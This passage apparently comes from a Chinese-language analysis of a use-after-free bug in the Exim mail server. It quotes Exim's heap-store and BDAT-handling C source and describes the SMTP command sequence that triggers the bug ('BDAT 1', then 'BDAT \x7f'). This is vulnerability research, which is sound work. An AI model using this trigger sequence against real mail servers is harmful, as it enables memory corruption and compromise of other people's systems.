*/</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L1"><code><span class="com">giving warnings. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L4"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#else</span></code></li><li class="L7"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L2"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="com">/* Update next pointer and number of bytes left in the current block. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln">BOOL</span></code></li><li class="L8"><code><span class="pln">store_extend_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> newsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pun">{</span></code></li><li class="L1"><code><span class="kwd">int</span><span class="pln"> inc </span><span class="pun">=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="kwd">int</span><span class="pln"> rounded_oldsize </span><span class="pun">=</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln"> rounded_oldsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L8"><code><span class="pln"> inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L2"><code><span class="com">giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="com">#else</span></code></li><li class="L8"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> newsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> CS ptr </span><span class="pun">+</span><span class="pln"> newsize</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> rounded_oldsize</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> inc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="kwd">return</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">void</span></code></li><li class="L7"><code><span class="pln">store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">storeblock </span><span class="pun">*</span><span class="pln">b</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* It will never be the first block, so no need to check that. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> pool_malloc </span><span class="pun">-=</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers</span></code></li><li class="L2"><code><span class="com"> from giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> </span><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln"> filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">#else</span></code></li><li class="L8"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"-Release %d\n"</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"-Release %6p %-20s %4d %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> linenumber</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> memset</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">,</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length</span><span class="pun">+</span><span class="pln">ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pun">}</span></code></li></ol> |
UAF漏洞所涉及的关键函数:
- store_get_3 堆分配
- store_extend_3 堆扩展
- store_release_3 堆释放
还有4个重要的全局变量:
- chainbase
- next_yield
- current_block
- yield_length
第一步
发送一堆未知的命令去调整yield_length
的值,使其小于0x100。
yield_length
表示的是堆还剩余的长度,每次命令的处理使用的是src/receive.c代码中的receive_msg
函数
在该函数处理用户输入的命令时,使用next->text
来储存用户输入,在1709行进行的初始化:
1 |
<ol class="linenums"><li class="L0"><code><span class="lit">1625</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">1709</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li></ol> |
在执行1709行代码的时候,如果0x100 > yield_length
则会执行到newblock = store_malloc(mlength);
,使用glibc的malloc申请一块内存,为了便于之后的描述,这块内存我们称为heap1。
根据store_get_3
中的代码,这个时候:
- current_block->next = heap1 (因为之前current_block==chainbase,所以这相当于是chainbase->next = heap1)
- current_block = heap1
- yield_length = 0x2000
- next_yield = heap1+0x10
- return next_yield
- next_yield = next_yield+0x100 = heap1+0x110
- yield_length = yield_length - 0x100 = 0x1f00
第二步
发送BDAT 1
,进入receive_msg
函数,并且让receive_getc
变为bdat_getc
第三步
发送BDAT \x7f
相关代码在src/smtp_in.c中的bdat_getc
函数:
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> user_msg </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> log_msg</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">for</span><span class="pun">(;;)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> BOOL dkim_save</span><span class="pun">;</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> lwr_receive_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> receive_getbuf </span><span class="pun">=</span><span class="pln"> lwr_receive_getbuf</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> lwr_receive_ungetc</span><span class="pun">;</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> dkim_save </span><span class="pun">=</span><span class="pln"> dkim_collect_input</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> dkim_collect_input </span><span class="pun">=</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L1"><code><span class="com">#endif</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* Unless PIPELINING was offered, there should be no next command</span></code></li><li class="L4"><code><span class="com"> until after we ack that chunk */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">pipelining_advertised </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">check_sync</span><span class="pun">())</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">unsigned</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">n </span><span class="pun">></span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> incomplete_transaction_log</span><span class="pun">(</span><span class="pln">US</span><span class="str">"sync failure"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP protocol synchronization error "</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"(next input sent too soon: pipelining was not advertised): "</span></code></li><li class="L4"><code><span class="pln"> </span><span class="str">"rejected \"%s\" %s next input=\"%s\"%s"</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> smtp_cmd_buffer</span><span class="pun">,</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span></code></li><li class="L6"><code><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">string_copyn</span><span class="pun">(</span><span class="pln">smtp_inptr</span><span class="pun">,</span><span class="pln"> n</span><span class="pun">)),</span></code></li><li class="L7"><code><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr </span><span class="pun">></span><span class="pln"> n </span><span class="pun">?</span><span class="pln"> </span><span class="str">"..."</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">""</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">554</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> US</span><span class="str">"SMTP synchronization error"</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* If not the last, ack the received chunk. The last response is delayed</span></code></li><li class="L4"><code><span class="com"> until after the data ACL decides on it */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> dkim_exim_verify_feed</span><span class="pun">(</span><span class="pln">NULL</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span><span class="pln"> </span><span class="com">/* notify EOD */</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"250 %u byte chunk received\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> chunking_datasize</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> chunking_state </span><span class="pun">=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> </span><span class="com">/* Expect another BDAT cmd from input. RFC 3030 says nothing about</span></code></li><li class="L9"><code><span class="com"> QUIT, RSET or NOOP but handling them seems obvious */</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">next_cmd</span><span class="pun">:</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> repeat_until_rset</span><span class="pun">:</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span><span class="pln"> smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span><span class="pln"> </span><span class="com">/*FALLTHROUGH */</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span><span class="pln"> smtp_rset_handler</span><span class="pun">();</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> US</span><span class="str">"only RSET accepted now"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln"> smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="com">/*FALLTHROUGH*/</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> smtp_rset_handler</span><span class="pun">();</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> NOOP_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln"> HAD</span><span class="pun">(</span><span class="pln">SCH_NOOP</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"250 OK\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> next_cmd</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> BDAT_CMD</span><span class="pun">:</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> n</span><span class="pun">;</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln"> chunking_state </span><span class="pun">=</span><span class="pln"> strcmpic</span><span class="pun">(</span><span class="pln">smtp_cmd_data</span><span class="pun">+</span><span class="pln">n</span><span 